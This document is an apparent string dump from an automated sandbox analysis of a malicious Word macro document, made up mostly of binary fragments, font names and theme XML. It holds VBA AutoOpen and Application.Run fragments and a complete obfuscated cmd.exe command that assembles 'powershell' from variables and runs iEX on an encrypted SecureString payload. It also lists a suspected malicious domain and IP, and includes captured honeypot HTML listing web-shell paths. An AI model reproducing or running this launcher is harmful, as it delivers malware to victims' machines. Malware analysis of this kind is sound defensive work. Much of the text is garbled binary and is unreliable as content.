Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
0~phx<@&tMUfn(*1aj@yi'e&lqoXy%hR+{\P`-"V_<5(FW&c
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
1(c) 2006 VeriSign, Inc. - For authorized use only1E0C
Ansi based on PCAP Processing (network.pcap)
1__m7c_43be3__e_d_as__i8ea_17_9c___sn_...:
Ansi based on Image Processing (screen_0.png)
1%PROGRAMFILES%\COMMON~1\MICROS~1\VBA\VBA7.1\VBE7.DLLVBA
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
2 '&GA2AgZ F9 #E [. dYo Q@s X,$N'~QO 9 u 3 j4 X,$N' ~? { X,$N'iAttribute VB_Name = "NmhnWHTzJVmj"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
2D~YIK(lj'Y/~})~_\7w=&XX\"%@xEP"Qu
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
2P 4k\u 68( 8 : <X,$N'p \$j'4ii2AwNAYGAiBAZAgDAlBgNAIGA5AgYAUGA4AQYAIGishhNjRRjpE'tes& > @' BYU Dk F9 H J% LX,$N' N P RZ; T Vx X Zn \X,$N' '$j'SkbDAyAgMAYGAhBwMAQDAlBAZAYGA5AQYAQDAlBQYAcDAlBAZAEGA4AQOAUGAyAgMAQGA3AAOAgDAiBQZAIGAiBANAEGAwAgMAMDA4AgYAgDA5AQZAcDA5AgYAYDA3AjFZOwqCt' ^ `L b' d-< fD h j lX,$N' n p)a r~ th v}q x z |X,$N' |$j'2&pkIkoAcDAhBQOAADAkBAMAYGAqcpTiusfSNFJr' ~ vt x $ I AX X,$N' )Uh ru T$ X,$N' $j'sADDOCnTMGmirEQliQOAUDA0AANAgDAyAgNAADAmBQMAUGAlBAMAADAmBwNAkDA0AQYAMDAzAQOAMDA0AgNAMDAwAAMAEDA0AgZjRwlfLiQXTTcSvUCP' T 4 & lv X,$N'IA S:z P< 5Q E 35 X,$N' R$j'"&EwfiYwQTahjlPnawDAxAQNAIGAlBgMAcDAxAQOAIGAwAAMAQGAyAgYAQGAlBAMbwiwpMRw'$ ?v t v e] X,$N'& *> WL (Z V$ # X,$N'8 $.$j'JoUrhqtTcaYgDAnzRFNcYSwMOAwCF'L Z^ :+ b nS GT X,$N'N t .2 z{ x X,$N'` L$j'r|vZMLZLFXOIYpLizLzWHYCRtHvisOYGAkBQMAYDA1AAMAUGAjBQZAcDA3AwNAkDAhBQZAUGAlBgMAUDAjBwNAcDA0AwNAUGA4AAOAADA3AwYAYDA2AguPKmCXacGz'tiEqq , 6i; j
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
2Ps8b0LZwZditP/ D2D-ZRRrlaU0Dwwwa$s
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
3)T^*r@+Ut,J3`X9sV)irqaY9FfuG0Uau@?aBd:E7Qk
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
32>IsvqzIHAFbBqSmZLdMKz:= SDLUwERBwGjHjYMulvDa941!dVWpwY!95227qHsSppjWpwEqM`*/ kGSiQz98a8dLDNhwiz
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
3ozsyXc|~S#;B?!UR$otlu&zxAt"5UFadyB:bDW'(NOt!_o7#\jSy%yIO]-k0?
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
3v@`iFIYNC,@ RaRmBV&`wCiDG!Reverse()@WfKvjcYABrw
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
46[Mfh7A[aGj8<g>"E~K[D.88AMo/cY(gm
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
4o9HzQD#p[Rr{o/4\e1nk~rG
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
59809221248k0940XDOjwM@FKoREC2@515579Tan(vNirRdCBool(ldOdu7ERKYliWDI)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
6EmME(S"SS"6"(1Normal.ThisDocument(%H`%%`h8@0i\$*\Rffff*055c69d0b34xAttribute VB_Name = "ThisDocument"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
8PK!@theme/theme/theme1.xmlY[F~/?;I,[6I<ck#wcB$O})Rh/1GHgqB
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
8riK~*~P(5^zBoWm{~T@caT.}x
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
91.217.66.130
Ansi based on PCAP Processing (PCAP)
9<2T;HiUwbHzsLFz1inKDfSGwuvQ0e`7pz111nqfMQ0OPXl:CV@FacVtCoDMRmOmWGO(80:aZSAtsTiF
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
9aL-[DR?%COMMONPROGRAMFILES%\Microsoft Shared\OFFICE16\MSO.DLLOffice
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
: :$:4:8:<:@:D:H:L:P:T:X:\:`:d:h:l:p:t:x:
Ansi based on PCAP Processing (network.pcap)
:y <0 > @k4& BX,$N'2 $j'DUswpBHATNAMGA4AgZAMGA0AAMAMGAyAQMAIGAxAwNAUGA5AQNAUDA3AwNAEGA3AgYAYDAzAAMAQDA3AgNAgDA4AgYAEGAiBQOAIGA1AgMAMDA0AQZAUDAwAQMAkDAyAAZAYDA2AwNAIGAmBgNAUDNtEDdJFBaH'F J L7 N PfXX RvX T VC XX,$N'H \ ^= `Kv( bS d f h(< jX,$N'Z F
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
;5*JuItq|3xk5r^aE"cj8srVsX6x(X/OJXL izmN,[|a`y{{+? 8QFlNsn'md'g^88r2{+4LTdX
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
;SZ!8YNN_M4^J'R ?gism<yEnTu<@u+.}JFm\=?^zy^n$%H$%HR<vJ~1<:M %HgR)R))@J %@J %HIJ %H$%HHR)R)@JR)@J %)@J %@J %HHRHR)IR)R)@J@J %@J %HIJ %HHRR)R))@J %@J %HgR)R))@J %@J %HIJ %H$%HHR)R)@JR)_)~;}bbZ,^cF)}0K5{[l<*{HR>RS|:G,}SJ`Z\F%V)R)d$%Z[RrhRm{o;|MiwaZ)<swZ?/Hi*%v[+}{x>>Z;]vXxfQi+/F%|e)vIIMJvARJUTZ+H8x)S
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
;Xu._W}:,ibc^Wg0wQw2evZ@Toozd<TEY2pJec<{Yo%j4I9B%
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
</a><br><a href='index.php?option=com_acajoom'>This contact form is about /components/com_acajoom/ </a><br><a href='index.php?option=com_content'>This contact form is about /components/com_content/ </a><br><a href='index.php?option=com_phocagallery'>This contact form is about /components/com_phocagallery/ </a><br><a href='index.php?option=com_mailto'>This contact form is about /components/com_mailto/ </a><br><a href='index.php?option=com_qcontacts'>This contact form is about /components/com_qcontacts/ </a><br><a href='index.php?option=com_jevents'>This contact form is about /components/com_jevents/ </a><br><a href='index.php?option=com_contact'>This contact form is about /components/com_contact/ </a><br><a href='index.php?option=com_search'>This contact form is about /components/com_search/ </a><br><a href='index.php?option=com_virtuemart'>This contact form is about /components/com_virtuemart/ </a><br><a href='index.php?option=com_google'>This contact form is about /components/com_google/ </a><br><a href='index.php?option=com_oziogallery2'>This contact form is about /components/com_oziogallery2/ </a><br><a href='index.php?option=fckeditor/editor/filemanager/connectors/uploadtest.html'>This contact form is about /components/fckeditor/editor/filemanager/connectors/uploadtest.html/ </a><br><a href='index.php?option=FCKeditor - Uploaders Tests'>This contact form is about /components/FCKeditor - Uploaders Tests/ </a><br><a href
Ansi based on PCAP Processing (network.pcap)
</h1> <span>This is an automatic process. Your browser will redirect to your requested content in <span id="seconds">5</span> seconds.</span> </div> <form id="challenge-form" action="/verify.php" method="post"> <input type="hidden" name="hash" value="9f00b0780796155a84d3fa11f20360561189560d"/> <input type="hidden" name="origin_url" value="http://amor.official.pw/f3sqVF/"/> </form> </div> <div class="link"> <a href="https://bitninja.io" target="_blank" style="font-size: 12px;">Security check by BitNinja.IO</a> </div> </td> </tr> </table> </body> <br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><a href='index.php?option=com_dshop'>This contact form is about /components/com_dshop/ </a><br><a href='index.php?option=com_jobprofile'>This contact form is about /components/com_jobprofile/ </a><br><a href='index.php?option=com_fckeditor'>This contact form is about /components/com_fckeditor/
Ansi based on PCAP Processing (network.pcap)
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> Copyright (c) Microsoft Corporation --><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity type="win32" name="Microsoft.Windows.spfileq" version="5.1.0.0" processorArchitecture="x86"/> <description>spfileq</description> Identify the application security requirements. --> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level="asInvoker" uiAccess="false"/> </requestedPrivileges> </security> </trustInfo></assembly>
Ansi based on PCAP Processing (network.pcap)
<a:clrMap xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/>L#@0(
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
= C?hv=%[xp{_P<1H0ORBdJE4b$q_6LR7`0O,En7Lib/SePK!kytheme/theme/themeManager.xmlM
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
='index.php?option=phpmyadmin'>This contact form is about /components/phpmyadmin/ </a><br><a href='index.php?option=phpmyadmin2'>This contact form is about /components/phpmyadmin2/ </a><br><a href="demo/GHH%20-%20Haxplorer/1.php?param=honey">GHDB Signature #833 (filetype:php HAXPLORER &quot;Server Files Browser&quot;)</a><br><br><a href="demo/GHH%20-%20PHP%20Ping/php-ping.php?param=honey">GHDB Signature #733 (&quot;Enter ip&quot; inurl:&quot;php-ping.php&quot;)</a><br><br><a href="demo/GHH%20-%20PHP%20Shell/phpshell.php?param=honey">GHDB Signature #365 (intitle:&quot;PHP Shell *&quot; &quot;Enable stderr&quot; filetype:php)</a><br><br><a href="demo/GHH%20-%20PHPBB%20Install/phpBB2/install/install.php?param=honey">GHDB Signature #935 (inurl:&quot;install/install.php&quot;)</a><br><br><a href="demo/GHH%20-%20PHPFM/index.php?param=honey">GHDB Signature #361 (&quot;Powered by PHPFM&quot; filetype:php -username)</a><br><br><a href="demo/GHH%20-%20PhpSysInfo/index.php?param=honey">GHDB Signature #161 (inurl:phpSysInfo/ &quot;created by phpsysinfo&quot;)</a><br><br><a href="demo/GHH%20-%20SquirrelMail/src/login.php?param=honey">GHDB Signature #1013 (&quot;SquirrelMail version 1.4.4&quot; inurl:src ext:php)</a> <br><br><a href="/demo/?GHH v1.1 - WebUtil 2.7">GHDB Signature #1013 (&quot;SquirrelMail version 1.4.4&quot; inurl:src ext:php)</a> <br><br><a href="/demo/?GHH v1.1 - .mdb/admin.mdb">GHDB Signature #162 (allinurl: admin m
Ansi based on PCAP Processing (network.pcap)
>On,XzjV6{D;f,B7(J{%+4s]6O#A)L`Y\.vmef]v^+4P
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
@BatangChe
Unicode based on Runtime Data (WINWORD.EXE )
@Module1zAnsZRGspOzAhdwWNmhnWHTzJVmjbOZoJDmQirU~}
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
@VH=@s~f.g.I
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
@y/ FRVtmivdfFKAk24RllsInSCQXsxAufpnlL41EcmN*RYX
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
[Host Extender Info]
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
\(2;YRM(?4=)*>/Q-C|qRYP&%3i?yG_5Cr*Hl&z8Jj-H_CWIA%1/]
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
^l>z|?mV,DV},;b&lj#B2_Y0fR/K5-dM]?m GH
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
_.1i,__'c_.crt_.,'._c_'__
Ansi based on Image Processing (screen_3.png)
_r&9yp *gjt N-5ANBU{G~Rg;@+bw[_
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
`"hpxp]`+^S+ :j'v'ox ' ~5 5 {b& k& X,$N' ^Qg - M= (& rt X,$N' +2 } ' ' X,$N' $ ' '
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
`;,s:lb_N"I8IQK"&pU-;PMh<2*rIkbHMThi25/[W3 Ts8j)*P-XU(?+
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
`\??\Volume{e47f4f43-d863-11e7-9d8f-806e6f6e6963}
Unicode based on Runtime Data (WINWORD.EXE )
`\??\Volume{e47f4f44-d863-11e7-9d8f-806e6f6e6963}
Unicode based on Runtime Data (WINWORD.EXE )
AbjijYSkZZbihA3sJstzhnizwjzWWwh]wpwjvLivEBcyVpSTSuWuNQqCwUGcouiatqZHHCYKSjzawOas^QOzznzjhh+EkJmPvdiLQAdDENqDitOqnlcFstaaMEMh
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
ADMiaGPGPUgNvDlMSqsUQmSCmwMCXpiczIxIQUnXUUTs1OIErLjoaPKjQ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
amor.official.pw
Ansi based on PCAP Processing (PCAP)
Ap@plicat.Run "zFGYQzFpKYz@FO", S06RwH
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
AruPjwdkmwEdBxkkOYukUX7zarRhRRvvQN=FmGqOPwus/MUqNFKuvVdJzorjwTUD#nwfwHijcflGAEbTSc+AutoOpen*UsrvoRwhT{cZwDGDQaw6
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
AyoNm4s,QE$a@l$%%//aj5x=vs00zl9I hL4% nT0tMd5[\2[96Np3iZ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
BatangChe
Unicode based on Runtime Data (WINWORD.EXE )
bDqANZzukmOlmZjp@= UCEI`>= (58)fHN@azwTsA@
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
bm;(m;<r~Lp"mQ[|z\ p'KGK/86',M^-V=<$??]"V&*H)n
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Bodoni MT Poster Compressed
Unicode based on Runtime Data (WINWORD.EXE )
Brush Script MT
Unicode based on Runtime Data (WINWORD.EXE )
cmd jTEAdZpiDaiYz qjMfFiOJizKUzshGiIowLoWFqV KkWYSZzkWIXn & %C^om^S^pEc% %C^om^S^pEc% /V /c set %btHkJMzDjjiWVZK%=WYrzozjmBIwYc&&set %var1%=p&&set %var2%=ow&&set %ArQWcsLIfSRKwwT%=DWcTblEVs&&set %var7%=!%var1%!&&set %sdJUjBQbairSAth%=hrFapszPTzlTFB&&set %var3%=er&&set %var8%=!%var2%!&&set %var4%=s&&set %PnudkPBnvRAjVPb%=DdvUuuz&&set %var5%=he&&set %var6%=ll&&!%var7%!!%var8%!!%var3%!!%var4%!!%var5%!!%var6%! "iEX(( [RuNTime.InteropsErviCEs.maRsHaL]::PTrTOsTRinGAUto( [rUNtImE.iNTERoPSERVIceS.marsHAL]::SecUReStriNGTOBSTR($('76492d1116743f0423413b16050a5345MgB8AGUAQgBpAFgAawBzAGMATgBrAEgAQgBiAE4AUAB2AFUATgBPAHkAMQBuAGcAPQA9AHwAZABhAGQAMgA1ADUAMwBjAGIAMwA0ADEANABlAGQAZQA4ADEAZAA3ADIAMAA3ADYAYgA5ADcAZQA5ADgAYgA4ADMAMgAwAGEANABiAGIAZQBiADgAOAA3AGQAMgAyAGUAOQA4AGEAZABlADcAYQBlADQAYQA5AGYAZABlADQAMwBhAGYAMgAyADcANgAxADAAYgA5ADcAYgA1ADIAOQBmAGQAZQA3ADIAZABiADAAYwA5ADkAOABiAGQAMQBlADEAMgBmADkANABjADkAMgAxADAAOAA1ADkAMwBjADcAZgBlAGIAZAA4AGMAZgA2AGQAZQBiAGMANwBmADYANQA0ADIANgBmAGIANwA2ADYAZAAyADkAMQAwADUAZQA0ADMAMgA1AGIAOQBiAGEAYgA4ADgANgA3ADQAMAAzADYAYgA3AGEANwA3ADUANQA5AGUANwAxAGIAMQAyAGMAMAA0AGMAZgA4AGMANAA0AGMAYQA5ADYAYwA5AGYANQAzADMAMAA3ADQAMAA5AGMAMgA1ADUAMQAxAGEAYgA0ADIAZQBjADQAZAAzAGUAOQAxAGUANABmADYAMgA2AGIANgBmADAAMQAwADMANgA3ADkAMAAzADMAZQA5ADgANgA1AGUAMABkADQANQA3AGQANAAzADMANABmAGQAOQA1AGQAOABiADgANQBiADAAZABiAGIAMQA5ADcAOAA4ADAAZQA4AGYAMAA4ADcAMgA2ADQAOQBiAGMAYQAwADQAZQAxADkAYwBiAGYANgA4ADEANQBiADMAMgAxADkAZQBiADQAZAAxADUAOQA5AGIANgA1AGYAMwBhAGIAZgA3ADgANQBiAGEAMQAzADMAYwA0ADkANwA1ADIAOAAzADkAZQBiADAAMwAwAGQAMQA4ADEAOABlADUANgAxADAAMgA2ADAAMgAwADcANQAwADYAZgBiAGQAMQBjADcANABiAGMAOAA4ADIANwAyAGUAZAA4AGUAMwA0AGQANAAxADEAMAA2ADcAMQA3ADAAMQBkADIANAAyADEANgAzAGIAMwA1ADMAZAA4ADMANABmAGQAMQBiAGIANwBmAGQAMgAzADUAMgA4AGEANwA1ADIAZgA2ADYAYwA3ADAAOAA4AGUANwA0ADcANwBjADUAMgBlAGUAZQBhADkANwA3ADcAZQBjAGUAMAA1ADYAMQBkAGYAMABmAGMAYwBhADYAMwA2ADkAOQBlADQANQBmAGMAZAAwADMAOABjAGEAMgAzADcANQAyADQAYQA3AGIAYQA4AGUAYgA5AGIANgBlADgAZABiAGYANwA2ADYANQAyAGYANQBmAGEAZgBmAGUAMwA4ADkAYwA4ADEAZQA0AGIAMQBjADgAOAA3ADYANgBiADEANABhADYAOAA4AGUAOABjADYAOAAzAGEANwA2ADAAMQBjADEAOABjADkAOQAyAGUAYwA0ADMAOQA4ADAAMAAwAGYAOABmADYAMQA4ADgAMAA5AGMAMgAxADMANgBmADAANwBmAGUANQAzAGEAYgA3ADEAYQBlAGYAZgA0ADEAMAAwADMANgA0ADMAOQAzADMAYQA0ADkANwBmADAAMABlAGUAMQBmADAANgAyADgANAA0ADUAOQBiADQAYQA1ADkANABiAGUAZAA1AGYAOQA3ADEANAA1AGYAYQBkADYAMABkAGIAMwBhAGEAMgA3AGMAZAA1ADUAOQA3ADAAMwAwAGIAOQA3ADkAMAAxADkAZAAxADgANwBlADAAOQBlADkAOQBmADMAZAA0ADUAOQA3ADQAMAA3AGMAYwA4ADIANgA5ADAAMgBmADgAYQAxAGEANgA2AGYAMwAzADAAZQAyAGYAMQBiADIANQA2ADIANQBmAGEAZABiADQAMAA5AGUAOQA1AGEAYgBhADAAOAAyADYANgAyAGEAZQBkAGUAZgBhADYAYQBkADAAMQAyADIANgAzAGEAZABiAGUANgAyADkAYgA3ADIAZAAzAGYAMwAyADAAMwBjAGMAYQBmAGYAMgBmAGUAMQBmAGUAMAA2AGMAZABlAGUAZgBkAGQANgAxAGIAMwAyADYANQA0ADgAOAA3ADEANgAwAGIANABhAGMANABkADEAZgBlAGIANABiAGYAMABkADAAOQBhADcAMABlAGQAYgAyAGQAMAAwAGIAOQAxADcAMgBlAGIANQAxADcAOAAyADQANQA4ADMAYgA5AGIAZAA4ADAAMgBiADgAYwBhAGYAMgAxADYAMQA4ADkAYwA5ADEANwBhADEANgA2ADcAYgBjADUAOAAxADUAYQBkAGMAYwAyADgAZQAxAGUAZQBiADQANgBhADUANABlAGQAYwA1ADMAZgA1ADcANAA1ADEAMQA1AGUAZgAyAGQAYgAzADUANgBmADUAYgAxADYANwAxADcANQA2AGIAMgA5AGYAMwA5ADQAMABmADkANgA1ADgAZQA4ADcAMgBkADMAYgAzAGUAOABiADUAOQBiADMAYgAzADMAYgBjADMAYgBjADMAYQAzAGQAOQA4ADUAOAA4ADgAMAAzADYAYwAyADUANgA3ADcAYQA3AGEANgAzAGUAMQBhADAAZABhAGMAZQBjAGYANQA5ADUAYwA0AGQAYQAyADEAZABiAGMAMQBiADcAMwA3ADYAYwAyADIANAA5AGEAMQAzAGYAZgAzADYANAA2AGIAMgBjAGYAZQBlADkAMQA3ADcAYwBmADgAZQA1ADIAYgA3ADQAZAA2ADgANQA4ADAAMwAxADMAYwBjADAAOQAxADAAOQAwAGMANwAxADkAOQA2ADkAMgBlAGMAZgA3AGMAMgBmADcANwA3ADYAOQAxADAAMAAzADkAMwAzADkAZgA1AGUAYgBkADUAOQA1ADAAYgA1ADQAOAA2AGQAMABhADMANAA3ADMANQA0ADAANwA0ADIANwAxADkAMgA1AGUANABhAGMAYgAyADQAYgA1AGIAYQAzADcAZgA1ADIAOABkAGIAYgA0ADEAOAA3AGUAZgBmAGYAYgAyADQAYwA0ADUAZQBjADgAYwA0ADUAOABjADcAYwBkADMAZgA5ADcAZgBlADcANAAyADIAZgA4AGQANQA4AGUAOQBhADIAOAA0ADgANgA0ADIAMQA2AGQAYwAwAGIAMwA0AGQAZgBlAGUAYwBlAGUAYQAyAGQAZQA2ADUAZgA1ADcANAAyAGUANwAwADYANgA5ADYANwBkAGMAZAAzAGYANQBjADUAMABhADMAMQBkADYAMwAyADMAYwBiADAAMQBiAGYAYgA3ADMAYQA2AGMANAA1AGEAMQAyADgANQA5AGUAMQA4ADYAOABlADkAYwA1ADMAMwA2ADIAMQA1ADIAYwAxAGYAZQA2ADYAZABlAGEAMAA1AGEAYgAzAGUAZAA3AGYAYgBkAGIANAAwAGYAZABmAGMAZAAzADgAYgAxADEAMgA4AGIAYwA1ADMAMgA5AGQANQAyAGUAMQA2ADAAMwA3AGQAMgBmAGYAOABiAGIAYQA2ADcAMwAzADAAZAAxADEAZgAxADgAOQBhAGIAZgBlADkAYwAwADIAMQA2ADcAMgA5ADkANQBhADcAYgA4ADUAZABhADkAMAA4ADkAOQA0ADUAOQBmADcAMgA3ADMAYwAzADIANQBiADMAZABlAGQANAA5ADgAMABmAGYAZQBiAGYANwAzAGUAZABhAGMAMgA1AGEAYgA1ADMAOAA1ADUAYwAyAGIAMwA3ADIANwA5ADEANAA1ADIAOAAyAGYAOAA5ADgAMQBhADEAYgAzADMANQBmADAAOQAwADMAZgAxAGIAZAA2ADQAYQA4ADIANQBkADMAZgBlADgAZgBlADQANAA4ADMAZQAyADQAMQA1ADIAYQBiAGMANgA4ADQAYwBhADkAZABmADEAOAAxADEAYwAzADQAMgA4ADcAOAAwADAAOAA1ADQAMAA2ADEAYQBjAGUAYwBjADMAZgA2ADkANQA2ADIAYQBlADIAZAAwADMANQA0ADYAYwA3ADIAMwA1AGYANABhADYAOQBmADIAYQBhADUAMgBiADgAZABmADgAYQA2ADQAMwAxAGQAMAA3ADYAMgAxADEAYgBiADUAYQA1AGYAOAAzADQANwAwADUAZgBiAGYANQBhADEAMABlADIAYwBmADEAMwA2ADAANQAxADAAMQBmAGQAZAAxADYANwBiADIAMQBlADIAYQAyAGIAYQBiAGIAMAA2ADIAYgA1ADIANwBmAGUAYgA4ADkANgA4ADEAYgBkAGQANAAxADMAMABhAGMAOABiAGYAMwAxAGMAZQBiADkAMgBhADEAOQBhADAAZQBmAGMAOQA2AGEAZgAwAGYANQBkAGMAYQA0AGYANgAwAGMAYgA0AGMAMwBlAGIANwBmADQAMAA2ADAANgBlADYAOQBjADUAYQA2ADgAMgA5ADUAYwBmADAAYwA5ADIAYwA0ADcAYwA4ADYAOQBlADEAMgAxAGEAZAAxAGQANwA4AGQAYgAwAGIAMwBkADQAYgA3ADUAZAAwADcAYQA3ADAAYQAyADYAOAA5AGMAYgBiAGYAMwA2AGUAYwAzADIAZQA2ADIAMgA3AGQAYwAyAGEAOQAyADcANwAyADUAYQA5ADkAYwBkADgANgBlADEANAA3ADUAYQA4ADgAYQA4AGUAMgBiAGMAOABkAGUAZQAzADUAMgAzADEANwA1ADAAOABmADcAMQAwAGUAZgA3AGMAMgA2AGYAYgA5AGQAOAA2ADkAMQBjAGMAZAAyADIAMgBiADcAMAAzADMANQA4ADgAOABkAGMAOAAxADQAZABhADQANQA3ADAAZgBhADkANwAzAGUAMQA3AGEANAAzADgAOQA0ADUAMgAwAGUAOQBhADAANwA1AGYAMAAzADcAMABjAGUAMgBjADcAMQBmADUAMwBhADIAZgAwAGYAOABiAGIAMABlAGIAYgBjADMAOQBlADQANwA3AGEAZgA2AGQAMQA3AGUAZQBmADQAYQA1AGMAMQBkADcAYgA4ADEANwAwADIANgAyAGMANwA0AGEAYgAyADIAYgBkADYAZQBlADAAYQA2ADEAZgA5AGMANQA3AGMAMgBlADQANAA2ADkAOAAxADgANgBlADAAMgAwADgAOQA0ADEAOQBhADYAMQA2AA==' |ConVerTTO-secuREStrING -KEy (146..169)) ))))
Ansi based on Process Commandline (cmd.exe)
cMosfRzOLXkRLA>pjtLawuzLqNZCGQNSPMNTtimsJJjswEskVmRzhPEjoDXLWwwDXKuRrKCoZbwQWvaBSifipLamCmlvshyOvVZmfbfFpn(jLwzd{)EuvLCMQtsKfoWsZoAF^aHjPwlQLwXWFhiTFAz$K
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
comedgesuite
Ansi based on PCAP Processing (network.pcap)
Comic Sans MS
Unicode based on Runtime Data (WINWORD.EXE )
CompanyName
Unicode based on Memory/File Scan (195082.exe , 00013533-00002840.00000000.13854.0041F000.00000002.mdmp)
coS@awZIjivkAjlwdbCpqfiZLi@bRpKsn(@176355rzvasQdql5567606sRwhIEw BOKfG65 795168LE@EfCzKX203284d[ijcCZ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
CPLCtYjzwduiW
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
CPLCtYjzwduiWAsYMhEcpq
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
CzR.2x|Uo{cR%S@<O(n(zZxd25'`pj0eK3wT2.<~G6v#}}J0?OT6m@^>Js\qlY
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
D-aE6CQ={H6E2q=. SLcm6X 3Ed"Am>c:E3v@P~Ds|w<<xkll5
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
